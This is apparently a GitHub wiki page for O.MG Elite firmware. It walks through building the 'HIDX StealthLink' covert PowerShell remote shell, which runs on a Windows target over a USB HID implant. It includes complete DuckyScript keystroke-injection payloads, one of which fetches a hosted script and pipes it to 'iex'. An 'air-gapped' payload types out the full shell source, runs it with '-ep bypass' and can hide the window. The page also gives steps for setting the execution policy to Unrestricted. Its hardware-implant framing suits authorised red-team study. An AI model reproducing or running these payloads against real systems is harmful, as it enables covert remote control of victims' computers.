HIDX StealthLink Windows PowerShell Shell - O-MG/O.MG-Firmware GitHub Wiki

HIDX StealthLink - Windows PowerShell Interactive Shell

1. Getting Started

What you will need:

  • A Linux "Catcher" server running Python3.
  • A Windows "Target" host.
  • A O.MG Elite Device running the the latest v3 Firmware.
  • A Wireless Network accessible to both the O.MG Device and Linux "Catcher" server.

image

2. Configure Catcher Server

Please ensure that you have a Linux server with Python3 installed, and connected to your network.

This will serve as our "Catcher" server.

You will need to have a minimal understanding of Linux and the Terminal.

Please note the IP Address of your Linux server, as you will need this later in Step 3.

You can get this via the command: ip addr list

Verify that your Linux server has Python3 installed, via the command: python3 --version

If your Linux server does not yet have Python3 installed, you may be able to install it via the command: sudo apt install -y python3 python3-pip

(Note: If this does not work, please review how to install software on your choice of Linux distribution.)

Download the following script to your server, via the command: curl -O https://raw.githubusercontent.com/O-MG/O.MG-Firmware/stable/tools/HIDX/python/stealthlink-client-universal.py

You may now start the server, via the command: python3 stealthlink-client-universal.py 0.0.0.0 1234

You should now see the following message to show the server has started: [*]Server Listening on 0.0.0.0:1234

Later in Step 3, after the O.MG Device connects to your "Catcher" server, you should see a similar message to the following: [+]O.MG Device connected from: 192.168.1.151:9134

3. Configure O.MG Device

Please ensure that you have an O.MG Elite Device running the the latest v3 Firmware. If you are not sure, please update your O.MG Device via the WebFlasher.

Connect to the WebUI of the O.MG Elite device, and click on the About button in the header bar of the page.

First, you should configure your HIDX Settings.

Within the O.MG WebUI Header Bar, click on the Settings button, and then the USB button beneath.

Within the section: HIDX Settings:

  • Enter the Linux "Catcher" server IP Address obtained in Step 2
  • Enter the Server Port Number: 1234
  • Click on the "HIDX AutoStart on Boot" button
  • Click "Change Settings"
omg-webui-settings-usb

Second, you should configure your O.MG Device to connect via Station Mode to your Wireless Network.

  • Within the Settings Menu, click on the NET button.
  • Change the WiFi Mode to Station.
  • Enter your Wireless Network's SSID and Password.
  • Click "Change Settings"
omg-webui-settings-net

Your O.MG Device will now reboot, and will attempt to join your Wireless Network. At this point, on the Linux "Catcher" server, you should see a message in your Terminal similar to this: [+]O.MG Device connected from: 192.168.1.151:9134

4. Testing on Target Host

For this step, we will manually setup the Target Host to get a feel for how everything should work. Later, we will automate this process with a payload.

Please ensure that you have a Windows device with Administrator Privileges, and PowerShell installed.

Download the following script to your Downloads directory: https://raw.githubusercontent.com/O-MG/O.MG-Firmware/stable/tools/HIDX/powershell/win-hidshell.ps1

Now, open PowerShell as Administrator, via:

  • Press Start button
  • type "PowerShell"
  • Right click on the icon
  • select "Run as Administrator"

Note: You may need to accept a UAC Prompt at this point.

Within the PowerShell Terminal, type the following command: Set-ExecutionPolicy -ExecutionPolicy Unrestricted

You should now see the following message:

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"):

Press Y, and then ENTER.

Within the PowerShell window, enter the following:

cd ~/Downloads
Import-Module .\win-hidshell.ps1
HIDXShell

Now, you should see the following within your PowerShell Terminal window:

[?]Adding Binding...
[?]Searching for O.MG Device...
[+]Identified O.MG Device: \\?\HID#VID_D3C0&PID_D34D&MI_02#8&24F28F63&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030}
[+]Ready to receive commands...

Now, your Windows device has initiated a Remote Shell via the O.MG Device over USB, and can be accessed by returning to the Linux "Catcher" server.

5. Connecting to the Shell

Go back to the Linux "Catcher" server, and the Python3 terminal window.

You should now see the following:

[+]O.MG Device connected from: 192.168.1.151:9134
HIDX StealthLink Universal Client (type '%quit' to exit)
>

You can now enter a command within this Terminal window, and it will execute on the Windows host, if the POC got executed successfully.

> ls
    Directory: C:\Users\user\Documents


Mode                 LastWriteTime         Length Name                                      
----                 -------------         ------ ----                                      
-a----         8/23/2023   2:41 PM           8033 win-hidshell.ps1       

6. Automating with a Stage 1 Payload

Now that you have the basics of HIDX Stealth Link working, lets replace all the manual setup on the Target Host by using a payload. This will be our "Stage 1 Payload" that starts the entire attack demonstration.

First, you will need to host the .ps1 file on a publicly accessible URL. Update the example payload below by defining the #URL constant.

REM       HIDX_Stealth_Link_Remote_Access_PoC_IEX
REM       Version 1.0
REM       OS: Windows
REM       Author: 0i41E
REM       Requirements: Firmware Version 3.0 minimum, Universal Python Listener, Activated HIDX

REM       HID based remote shell, executed via powershell.

REM Define the URL where you hosted your PoC
DEFINE #URL https://example.com/

REM Define Keymap below
DUCKY_LANG us
DELAY 2000
GUI r
DELAY 500
STRINGLN powershell -executionpolicy unrestricted
DELAY 1000
REM Calling HIDX poc via Invoke-Webrequest and execute it via Invoke-Expression
STRINGLN Invoke-WebRequest -UseBasicParsing -Uri "#URL" | iex;HIDXShell

7. Embedding into an Air-Gap-Ready Payload

Lets improve the Stage 1 Payload to execute on a Target that does not have internet access. This will achieve a fully air-gap capable payload. This will perform a simple cleanup at the beginning, write and save win-hidshell.ps1 to the %USERPROFILE% directory and then calls the script via Powershell.

Disclaimer: This payload uses an outdated version of the POC and will be updated in the future. Functionality is still given.

REM       HIDX_Stealth_Link_Remote_Access_PoC_Airgapped
REM       Version 2.1
REM       OS: Windows
REM       Author: 0i41E
REM       Requirements: Firmware Version 3.0 minimum, Universal Python Listener, Activated HIDX

REM       HID based remote shell, saved into a file on disk and executed via Powershell.

REM Define Language Below
DUCKY_LANG us

REM Name of the saved PowerShell script
DEFINE #FILENAME win-hidshell.ps1
REM PowerShell WindowStyle - Normal,Minimized,Maximized or Hidden
DEFINE #WINDOWSTYLE Normal
REM USB Identifiers
DEFINE #Vendor_ID D3C0
DEFINE #Product_ID D34D

REM Description of the PoC
FUNCTION Description()
STRINGLN_BLOCK
<#
.DESCRIPTION
win-hidshell.ps1
Authors:  Wasabi (@spiceywasabi), 01ph0r13(@01p8or13)
Acknowledgements: rogandawes
Required Dependencies: Activated HIDX on OMG Elite device

This is a POC.
This powershell script is a PoC for a bidirectional, shell-like connection between a host and an O.MG Elite device.

.PARAMETER VendorID
Defining vendor ID of the device. (Default: D3C0)

.PARAMETER ProductID
Defining product ID of the device. (Default: D34D)

.PARAMETER Verbose
Display more information about received and executed commands

.EXAMPLE
HIDXShell usage with defined device: 
HIDXShell -VendorID D3C0 -ProductID D34D

.LINK
https://github.com/0i41E
https://github.com/spiceywasabi
https://github.com/rogandawes

#Credits to Rogan for idea of filehandle and device identification
#>
END_STRINGLN
END_FUNCTION

REM Delete old PoC file, and start notepad to write the new one
FUNCTION Clean_Start(#VAR1)
DELAY 1000
GUI r
DELAY 1000
STRINGLN powershell
DELAY 1000
STRINGLN Remove-Item $env:USERPROFILE\#VAR1
DELAY 250
STRINGLN notepad.exe;exit
DELAY 2000
END_FUNCTION

REM Save PoC on disk in Userprofile folder
FUNCTION Save_Payload(#VAR4)
DELAY 2000
CTRL w
DELAY 2000
ENTER
DELAY 2000
STRING %USERPROFILE%\#VAR4
DELAY 2000
ENTER
END_FUNCTION

REM Start a PowerShell with given WindowStyle and execute the PoC
FUNCTION HIDshell_Execution(#VAR5, #VAR6)
DELAY 1000
GUI r
DELAY 500
STRINGLN powershell -WindowStyle #VAR6 -ep bypass 
DELAY 1000
STRINGLN Import-Module $env:USERPROFILE\#VAR5;HIDXShell
END_FUNCTION

REM Define the Device via VID/PID
FUNCTION Device_Definition(#VAR2, #VAR3)
STRINGLN_BLOCK
    [cmdletbinding()]
    param(
    [Parameter(Position = 1)]
            [ValidateNotNullOrEmpty()]
            [String]
            $VendorID = "#VAR2", #Default value:D3C0

        [Parameter(Position = 2)]
            [ValidateNotNullOrEmpty()]
            [String]
            $ProductID = "#VAR3" #Default value:D34D
            )

    #Defining OMG device
    $OMG = $VendorID +"&PID_" + $ProductID

    $tries = 0 
    $ErrorActionPreference="Stop"
END_STRINGLN
END_FUNCTION

REM Create Filehandle
FUNCTION Create_Filehandle()
STRINGLN_BLOCK
    #Creating filehandle
    function CreateBinding(){
        try { 
                Add-Type -TypeDefinition @"
using System;
using System.IO;
using Microsoft.Win32.SafeHandles;
using System.Runtime.InteropServices;
namespace omg {
    public class hidx {
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf);

        public static FileStream open(string fn) {
            return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true);
        }
    }
}
"@
END_STRINGLN
END_FUNCTION

REM Get String for OMG device
FUNCTION Get_OMGDevice()
STRINGLN_BLOCK
    function Get-OMGDevice(){
REM Identify OMG device
        $devs = gwmi Win32_USBControllerDevice
        write-host -ForegroundColor Yellow "[?]Searching for O.MG Device..."
        $devicestring=$null
        foreach ($dev in $devs) {
            $wmidev = [wmi]$dev.Dependent
            if ($wmidev.GetPropertyValue('DeviceID') -match ($OMG) -and ($null -eq $wmidev.GetPropertyValue('Service'))) {
                $devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}')
            }
        }
        return $devicestring
}
END_STRINGLN
END_FUNCTION

REM Loop, Error checking and Execution of received commands
FUNCTION Command_Handling()
STRINGLN_BLOCK
    $loop=$true
    CreateBinding
    while ($loop) {
        try {
REM Find O.MG device
                $devicestring = Get-OMGDevice
REM Verify device - error checking
                if($null -eq $devicestring){
                    $loop=$false
                    Write-Host -ForegroundColor red "[!]Error: No O.MG Device not found! Check VendorID/ProductID"
                    $loop=$false
                    break
                }
REM Verify device - open device
                Write-Host -ForegroundColor Green "[+]Identified O.MG Device: ${devicestring}"
                $filehandle = [omg.hidx]::open($devicestring)
REM Verify filehandle 
                if($null -eq $filehandle){
                    $loop=$false
                    Write-Host -ForegroundColor red "[!]Error: Filehandle is empty"
                    break
                }
                $in = ""
                Do {
                    Write-Host -ForegroundColor Green "[+]Ready to receive commands..."
                    echo $filehandle.Length
                    echo $filehandle.BytesToRead
                    $byte = [byte[]]::new(10)
                    #Read bytes from omg
                    $bytes = New-Object Byte[] (65)
                    $filehandle.Read($bytes, 0, 65) | Out-Null
                    #Split and display received command
                    foreach ($byte in $bytes) {
                        $input_raw = [System.Convert]::ToChar($byte)
                        if (($input_raw -ge 32 -and $input_raw -le 126) -or $input_raw -eq 10) {
                            $in = "${in}${input_raw}"
                            #If using verbose, display split commands
                            if ($VerbosePreference -eq 'Continue') {
                          Write-Host "Command Parts: ${byte} / $in"
                            }
                #EICAR string & Amsi trigger
                #X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* 
                #AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386
                        }
                    }
                } While (!$in.Contains("`n")) #Execute on new-line
                Try {
                    if ($VerbosePreference -eq 'Continue') {
                        Write-Host -ForegroundColor Green "[+]Executed command: $in"
                        $in | Format-Hex
                    }
                    $output = Invoke-Expression $in|Out-String
                } Catch {
                    $output = Echo "[!]Error: The command was not recognized as the name of a cmdlet, a function, a script file or an executable program."|Out-String #Error message send to receiver
                    Write-Host -ForegroundColor red "[!]Error: Unable to run received command" #Error message in console
                }
REM Convert output to bytes
                $outputBytes = [System.Text.Encoding]::ASCII.GetBytes($output + "> ") #Fake prompt
                $outputLength = $outputBytes.Length
REM Send output bytes to omg
REM Kept at 8 for best experience
                $outputChunkSize = 8 
                $outputChunkNr = [Math]::Ceiling($outputLength / $outputChunkSize)

                if ($VerbosePreference -eq 'Continue') {
                    Write-Host -ForegroundColor green "[+]Output of $($outputLength) bytes ready to send in $($outputChunkNr) packets."
                }

                $messageSendTime = Get-Date
                for ($i = 0; $i -lt $outputChunkNr; $i++) {
                    $outputBytesToSend = New-Object Byte[] (65)
                    $outputStart = $i * $outputChunkSize
                    $outputEnd = [Math]::Min(($i + 1) * $outputChunkSize, $outputLength)
                    $outputChunkLen = $outputEnd - $outputStart
                    [System.Buffer]::BlockCopy($outputBytes, $outputStart, $outputBytesToSend, 1, $outputChunkLen) # Copy the chunk to the packet
                    if ($VerbosePreference -eq 'Continue') {
                        $currentTime = Get-Date
                        $timeDifference = $currentTime - $messageSendTime
                        Write-Host -ForegroundColor yellow "[?]Message ready to send after $($timeDifference)..."
                        $messageSendTime=$currentTime
                        $outputBytesToSend | Format-Hex
                    }
                    $filehandle.Write($outputBytesToSend, 0, 65)

                }

            $filehandle.Close()
        }
        catch {
            if ($VerbosePreference -eq 'Continue') {
                Write-Host -ForegroundColor red "[!]Error occurred, ${tries} remain"
            }
            echo $Error
            if($tries -le 0){
                Write-Host -ForegroundColor red "[!]Fatal error, tries exhausted must stop"
                $loop=$false
                $filehandle.Close()
                break
            } else {
                $tries = $tries - 1
            }
        }
    }
} 
END_STRINGLN
END_FUNCTION

Clean_Start(#FILENAME)
DELAY 1000
STRINGLN function HIDXShell {
Description()
Device_Definition(#Vendor_ID, #Product_ID)
Create_Filehandle()
REM Console Messages
STRINGLN_BLOCK
                Write-Host -ForegroundColor Yellow "[?]Adding Binding..."
                } 
                catch {
                    Write-Host -ForegroundColor red "[!]Error:Cannot load Binding..."
                }
        }
END_STRINGLN
Get_OMGDevice()
Command_Handling()
Save_Payload(#FILENAME)
HIDshell_Execution(#FILENAME, #WINDOWSTYLE)
⚠️ **GitHub.com Fallback** ⚠️